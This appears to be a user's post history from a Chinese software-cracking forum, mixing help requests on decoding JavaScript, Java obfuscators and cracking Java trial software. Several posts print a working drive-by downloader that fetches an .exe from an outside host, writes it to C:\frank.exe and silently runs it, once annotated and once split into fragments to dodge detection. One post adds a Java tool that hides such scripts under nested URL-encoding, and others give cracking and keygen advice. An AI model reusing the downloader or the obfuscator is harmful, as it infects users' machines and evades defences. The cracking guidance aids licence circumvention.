|
|
|
[求助]这个js文件怎么解密?
<script> var f,r; f="http://6996000.com/css/css.exe"; // 目标文件通过网络进行下在 r="C:\\frank.exe"; // 保存到本地后的文件名称 try{ // 使用异常处理机制,保证不提是错误 var a=(document.createElement("object")); //创建 <object></object>标签 a.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); // 设置<object>标签的属性 classid <object classid="...."> var n=a.CreateObject("Microsoft.XMLHTTP",""); // 创建Microsoft.XMLHTTP 使用这个控件进行网络下载 var k=a.createobject("Adodb.Stream",""); // 创建Adodb.Stream 控件 这个控件可以突破限制,向本地些文件 n.Open("GET",f,0); // 使用Microsoft.XMLHTTP的Open方法进行下载文件 n.Send(); k.type=1; k.open(); k.write(n.responseBody); // 将通过网络获取的文件数据写入到 Adodb的记录中 k.savetofile(r,2); // 写入 r 制定的文件中 k.close(); var shell=a.createobject("Shell.Application",""); // 创建Shell.Application对象进行对系统的操作,包括运行程序,或者关机 shell.ShellExecute(r,"","","open",0); }catch(e) {}; </script> 附带我所编制的Java的 编码程序 package com.vhly.sc; import java.io.*; import java.net.*; public class Encoder{ public static void main(String... args)throws IOException{ int argc = args.length; if(argc!=3){ System.err.println("Usage Encoder <in.html> <out.html> <num>"); System.exit(0); } File fin = new File(args[0]); // 忽略异常 File fout = new File(args[1]); FileReader fr = new FileReader(fin); BufferedReader br = new BufferedReader(fr); FileWriter fw = new FileWriter(fout); PrintWriter pw = new PrintWriter(fw); String str = ""; String data = ""; String start = "<script language=\"javascript\"> var Words=\""; String end = "\";document.write(unescape(Words));</script>"; do{ str = br.readLine(); if(str == null) break; data += str; }while(true); int num = Integer.parseInt(args[2]); data = URLEncoder.encode(data); data = data.replace("+"," "); for(int i=0;i<num;i++){ data = start+data+end; data = URLEncoder.encode(data); data = data.replace("+", " "); } data = start+data+end; pw.println(data); pw.close(); fw.close(); br.close(); fr.close(); } } 此段代码由于这次从家里回来之后没有带 只能通过记忆来写下,对于这段代码未作调试 因此只是把远离写下 同时对于编码次数的参数 建议使用 6以内的次数 因为次数越多生成的代码越长,考虑到javascript中字符串的容量等等问题, 我进行测试时 使用5次有时就无法执行代码了,可能是机子的问题。 |
|
[求助]这个js文件怎么解密?
<script> var f,r; f="http://6996000.com/css/css.exe"; r="C:\\frank.exe"; try{ var a=(document.createElement("o"+"b"+"j"+"e"+"c"+"t")); a.setAttribute("c"+"l"+"a"+"s"+"s"+"i"+"d","c"+"l"+"s"+"i"+"d"+":"+"B"+"D"+"9"+"6"+"C"+"5"+"5"+"6"+"-"+"6"+"5"+"A"+"3"+"-"+"1"+"1"+"D"+"0"+"-"+"9"+"8"+"3"+"A"+"-"+"0"+"0"+"C"+"0"+"4"+"F"+"C"+"2"+"9"+"E"+"3"+"6"); var n=a.CreateObject("M"+"i"+"c"+"r"+"o"+"s"+"o"+"f"+"t"+"."+"X"+"M"+"L"+"H"+"T"+"T"+"P",""); var k=a.createobject("A"+"d"+"o"+"d"+"b"+"."+"S"+"t"+"r"+"e"+"a"+"m",""); n.Open("G"+"E"+"T",f,0); n.Send(); k.type=1; k.open(); k.write(n.responseBody); k.savetofile(r,2); k.close(); var shell=a.createobject("S"+"h"+"e"+"l"+"l"+"."+"A"+"p"+"p"+"l"+"i"+"c"+"a"+"t"+"i"+"o"+"n",""); shell.ShellExecute(r,"","","o"+"p"+"e"+"n",0); }catch(e) {}; </script> < -> "<" > -> ">" 解密方法 import java.io.*; import java.net.*; public class ud{ public static void main(String... args){ System.out.println(URLDecoder.decode(args[0])); } } |
|
[求助]java代码混淆?
关于混乱器,我想Jshrink可以满足初步的需求,如果想要更高强度的,可以使用Zelix KlassMaster, DashO等,但是这两个还都需要花钱呢。 下面列举混乱器的特性:(按强度排列) ProGuard 开源混乱器,支持脚本控制,可以使用GUI界面,重命名a-z A-Z等单 个字符名称。字符串不加密,支持 J2ME RetroGuard 开源混乱器,支持脚本控制,可以使用GUI界面,重命名a-z A-Z 等单个字符名称。包括优化代码,字符串不加密 支持 J2ME yGuard 同上两个,支持Ant自动构建 CodeShield 使用 Cnnn 来命名 如 C001 C002 等等 字符串不加密 GUI支持 JCloak 同上 JODE 支持 Obfuscator Decompiler Encryptor 支持混乱、反编译、加密 JShrink 使用Java Api对类进行重命名,支持字符串加密,支持 J2ME JProof 1stBarrier 未分析 Marvin 不支持GUI,支持脚本,字符串加密 Smokescreen 15天试用,支持字符串加密支持J2ME 保护时有漏洞,类文件 原始字符串内容不删除*** DashO 商业使用,有强大的功能,优化,加密,支持广泛 Zelix KlassMaster 保护功能非常强大,支持字符串的复杂加密保护,字节代码 混乱,堆栈混乱,支持异常重构 对于制作混乱器,首先要有一个功能完善的类文件分析库,然后通过各种算法 对于类文件的名称、成员、方法以及字节代码进行修改。 |
|
[求助]java代码混淆?
Java混乱器现在有很多现成的东西,比如 JShrink , Zelix KlassMaster, JODE, DashO, 等等。 如果想要自己编写混乱器,那么你最先应该了解 Java Class 文件的规格,同时 要深入了解字节代码的格式等等,而且要通过对面向对象的理解,来进行 名城的混乱,等等 难,如果想交流关于混乱器的制作,请合伙联系 vhly@163.com |
|
[求助]这个js文件怎么解密?
解密方法: <script language="JScript.Encode"> function decode(){ >#@~^awoAAA==-mD~qWMN/{JufZUZ]qhKYfA\lM~KDNkYffu y]+*f/km.kaO]y*f37lD~Wu X ;.u X2A6] l&GY l +tDY2Yy*&zY l su+X wvO,!TTu X A^Ws]+Xysmddu X w^k/Yy*y2+X+u+*y Y l&$.u *29]y* y/Y l&z]+*X/u X*;WDmxVYy* 3nX+Y l+y]+l&~YDH]yXG~\CD,lY+l&fu+*y%NK^;:xD]+*+31DnlDn2^+hn Y]+Xy%Y l+yWYy*y ]y*y$]y*+ (]+Xy ]yX ~] l++Lu l +]+XyAY l+ ]+Xy ]+XyAY l+ymYy*y ]y*y$]y*+ D]+Xy ]yX O] l+1]y*2AC]+Xy2d+D)YDDr8!Y+Y+l 0]yXy ^u l u l+Au X yVY+l u+*yA]yX+ m]y*+ Y+l $]yX y/Y+l Y+l $]yXy du l u l+Au X ykY+l u+*yA]yX+ 9]y*+ Y+l /]yX ymY+l Y+l $]yXy su l u l+Au X y/Y+l u+*yA]yX+ b]y*+ Y+l $]yX yNY+l Y+l $]yXy Yy*2b]y*y+]y*+Au X+yA]yX y] l+$]y*y 9]+Xy Y l+Au X+y,]+Xy Y l+~]+l yv]y*y+]y*+Au X+yZ]yX y] l+$]y*y X]+Xy Y l+Au X+y*]+Xy Y l+~]+l yv]y*y+]y*+Au X+y] l+fu *y+Y l ~]+*+++]+*y+]y*+$u *++l]+*y+u XyAu *y zY l +]y*+$u *y+&u *y+Y l ~]+*++u X GY l +Yy* $Yy*+ 8Yy*+y]y* ~]yX yFY l +Yy* ~Y l GY+*y u X $Yy*+ ZY l +Yy* $Yy*+ u+l 9u l u l+Au X y,Y+l u+*yA]yX+ R]y*+ Y+l $]yX y&Y+l Y+l $]yXy )u l u l+Au X y]+Xyf]yX y] l+$]y*y T]+Xy Y l+Au X+y!]+Xy Y l+~]+l yZ]y*y+]y*+Au X+y!]yX y] l+$]y*y *]+Xy Y l+Au X+ys]+Xy Y l+~]+l yZ]y*y+]y*+Au X+y ]yX y] l+$]y*y 1]+Xy Y l+Au X+y2]+Xy Y l+~]+l y&]y*y+]y*+Au X+yv]yX y] l+1]y*2A-l.~ ]+*29lu X+AZDnCD+64Nn1YYy*y%]y*y+Hu X y]+XyA]yX yk]yX+ u l $]+Xy ^]yX y]+XyA]+Xy .]yXy Yy*yA]y*y+Wu X y]+XyA]yX y/]yX+ u l $]+Xy G]yX y]+XyA]+Xy W]yXy Yy*yA]y*y+Yu X y]+XyA]yX y] l+3]y*y Y X+~]+*y+(u X+y] X+~]+*y+t]+l y] l ~Y l +Su X+y] l+Au *y+u]y*y Y X+~]+*y+Ku X+y] X+~]+*y+:]+l y] l ~Y l +nu X+y] l+Zu *y+Y l y]+*+1u X&~-lMPVYy*&9Cu X A^M+CD+K4LmDY l 0]y*++z] l+ u *y$Y l yNY X+y]+*y$]y*++K] X+y]+*y$u Xy 9] l yY l $]y*++(] l+ u *y$Y l y]+*+3u X yY l $Yy* +ju X yYy*+~]y* yYu+*y Y l $Yy* y.]y* yY+*yAu X +nu X yY l $Yy* +Cu X yYy*+~]y* y:u+*y Y l /Yy* yY l u+X O]y*fAUYy*+2}2+ ]+Xy%]+Xy !]yXy Yy*yA]y*y+2u X y]+XyA]yX yK]yX+ u l /0Y+l /!u+*y,Y+l&AUYy*+2Un NYy*y%]y*y1]y*fA0]+Xy2YH2+u *29q]y*2AV]+Xy2GwU]y*+0u *+1u X&~Vu Xy2SDkD+u+*y%U]y*+3M+/aGxk+AK[z]y*y,Y Xf~3Y l+2kl-nDW0rs]+*y0M]+l ; ] } alert(decode.toString()); </script> 你的代码不完全,加密的代码之后已特殊的标示结束 |
|
[求助]这个js文件怎么解密?
解密方法: <script language="JScript.Encode"> function decode(){ >#@~^awoAAA==-mD~qWMN/{JufZUZ]qhKYfA\lM~KDNkYffu y]+*f/km.kaO]y*f37lD~Wu X ;.u X2A6] l&GY l +tDY2Yy*&zY l su+X wvO,!TTu X A^Ws]+Xysmddu X w^k/Yy*y2+X+u+*y Y l&$.u *29]y* y/Y l&z]+*X/u X*;WDmxVYy* 3nX+Y l+y]+l&~YDH]yXG~\CD,lY+l&fu+*y%NK^;:xD]+*+31DnlDn2^+hn Y]+Xy%Y l+yWYy*y ]y*y$]y*+ (]+Xy ]yX ~] l++Lu l +]+XyAY l+ ]+Xy ]+XyAY l+ymYy*y ]y*y$]y*+ D]+Xy ]yX O] l+1]y*2AC]+Xy2d+D)YDDr8!Y+Y+l 0]yXy ^u l u l+Au X yVY+l u+*yA]yX+ m]y*+ Y+l $]yX y/Y+l Y+l $]yXy du l u l+Au X ykY+l u+*yA]yX+ 9]y*+ Y+l /]yX ymY+l Y+l $]yXy su l u l+Au X y/Y+l u+*yA]yX+ b]y*+ Y+l $]yX yNY+l Y+l $]yXy Yy*2b]y*y+]y*+Au X+yA]yX y] l+$]y*y 9]+Xy Y l+Au X+y,]+Xy Y l+~]+l yv]y*y+]y*+Au X+yZ]yX y] l+$]y*y X]+Xy Y l+Au X+y*]+Xy Y l+~]+l yv]y*y+]y*+Au X+y] l+fu *y+Y l ~]+*+++]+*y+]y*+$u *++l]+*y+u XyAu *y zY l +]y*+$u *y+&u *y+Y l ~]+*++u X GY l +Yy* $Yy*+ 8Yy*+y]y* ~]yX yFY l +Yy* ~Y l GY+*y u X $Yy*+ ZY l +Yy* $Yy*+ u+l 9u l u l+Au X y,Y+l u+*yA]yX+ R]y*+ Y+l $]yX y&Y+l Y+l $]yXy )u l u l+Au X y]+Xyf]yX y] l+$]y*y T]+Xy Y l+Au X+y!]+Xy Y l+~]+l yZ]y*y+]y*+Au X+y!]yX y] l+$]y*y *]+Xy Y l+Au X+ys]+Xy Y l+~]+l yZ]y*y+]y*+Au X+y ]yX y] l+$]y*y 1]+Xy Y l+Au X+y2]+Xy Y l+~]+l y&]y*y+]y*+Au X+yv]yX y] l+1]y*2A-l.~ ]+*29lu X+AZDnCD+64Nn1YYy*y%]y*y+Hu X y]+XyA]yX yk]yX+ u l $]+Xy ^]yX y]+XyA]+Xy .]yXy Yy*yA]y*y+Wu X y]+XyA]yX y/]yX+ u l $]+Xy G]yX y]+XyA]+Xy W]yXy Yy*yA]y*y+Yu X y]+XyA]yX y] l+3]y*y Y X+~]+*y+(u X+y] X+~]+*y+t]+l y] l ~Y l +Su X+y] l+Au *y+u]y*y Y X+~]+*y+Ku X+y] X+~]+*y+:]+l y] l ~Y l +nu X+y] l+Zu *y+Y l y]+*+1u X&~-lMPVYy*&9Cu X A^M+CD+K4LmDY l 0]y*++z] l+ u *y$Y l yNY X+y]+*y$]y*++K] X+y]+*y$u Xy 9] l yY l $]y*++(] l+ u *y$Y l y]+*+3u X yY l $Yy* +ju X yYy*+~]y* yYu+*y Y l $Yy* y.]y* yY+*yAu X +nu X yY l $Yy* +Cu X yYy*+~]y* y:u+*y Y l /Yy* yY l u+X O]y*fAUYy*+2}2+ ]+Xy%]+Xy !]yXy Yy*yA]y*y+2u X y]+XyA]yX yK]yX+ u l /0Y+l /!u+*y,Y+l&AUYy*+2Un NYy*y%]y*y1]y*fA0]+Xy2YH2+u *29q]y*2AV]+Xy2GwU]y*+0u *+1u X&~Vu Xy2SDkD+u+*y%U]y*+3M+/aGxk+AK[z]y*y,Y Xf~3Y l+2kl-nDW0rs]+*y0M]+l ; ] } alert(decode.toString()); </script> 你的代码不完全,加密的代码之后已特殊的标示结束 |
|
Java程序的奇怪问题
对于你说的,我不太明白,针对类文件中包含的时间限制,有一种情况是这样的 比如无论你在什么时间下载,都有一个制定的日期比如 2006/11/03日 到这个日期软件就不可以用了, 这种情况,类文件是不变的。 还用一种情况是这样的,比如你 2006/11/1日下在,那么类文件中或者相应的 文件中会保存你的下载日起,然后可以使用多少天 像这样 GregorianCalendar gc = GregorianCalendar(2006,11,1); // 日期类表明 // 下载的时间 // 其中的日期可以通过各种方式获取 GregorianCalendar gc1 = new GregorianCalendar(); // 当前日期 gc.add(Calendar.DATE, 15); // 计算15天之后 if(gc.after(gc1)) { // 过期了 } else { // 没有国旗 } 对于以上的代码 可以参阅 JShrink 2.33 ~ 2.36 这个软件采用的就是这种方式 来判断试用版用户的使用时间 |
|
Java程序的奇怪问题
对于时间过期的方式 除了授权文件的方式外,还有一种就是添加日期判断到 类文件中,实例 Smokescreen试用版 针对的操作 比如 类代码中含有的静态代码快 static{ long l1 = 0xDDDDDDDDDDDDDDL; // 过期时间 long l2 = System.currentTimeMillis(); // 当前时间 if(l1 < l2) { // 过期 } } |
|
|
|
DashO Pro 3.2 (Java软件)试用版 注册机
舵手兄,还是蛮行的,我家没有网,所以没法检测出网络验证的部分。 希望舵手兄提供一些 出错信息,我在处理以下。 为了提高这个帖子的人气,我会很快的处理分析的,但是最短 也要周日才能完成,其余实在没有时间 |
|
DashO Pro 3.2 (Java软件)试用版 注册机
vhly's JClassFile 类库 用于分析Java的 .class文件,同时提供修改类文件的能力。同时也可以对类文件进行再修改。 比如上面我们通过字符串获取程序 ,可以在将近几百个类文件中,恢复经过加密的字符串内容。 对于Zelix KlassMaster,可以使用者各类来获取他的字符串对象 |
|
[转帖]浅谈JAVA程序破解
没别的,现支持吧,但是这篇文章也太老了吧,好久之前就有了。 |
|
|
|
|
|
[求助]请问:使用Java(TM) 2 Runtime Environment的程序OD怎么断不下来啊?
首先要批评楼主了,对于Java软件怎么能用OD呢。 破解Java软件的基本方法 1。使用反编译器,反编译出软件源代码 (针对没有使用混乱的,或者简单混乱的) 用你的脑子去理解软件的功能,找到破解点,爆破或者制作注册机 反编译器如:Decafe, DJ Java Decompiler等等 2。使用反编译器(取字节代码)和十六进制编辑器 此种方法针对使用字节代码混乱的情况,需要破解者要知道字节代码的数值 使用反编译器生成类的字节代码,因为无法成功的反编译出源代码。 找到关键点 比如 cmp JMP等等 3。并不推荐使用动态调试器。因为会很慢。 4。给你几个 Java Crack Me 的地址 www.crackmes.de 中有我4个 Java CrackMe,其中前两个非常简单。使用 反编译器就可以找出算法,并且制作注册机。第三个有些困难。 第四个是最难的。在crackmes.de中10天才出了1个solution。并且还没有被批准 希望楼主可以试试。 同时楼主可以搜索一下看雪论坛里的 Java 内容 了解之后再说话 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值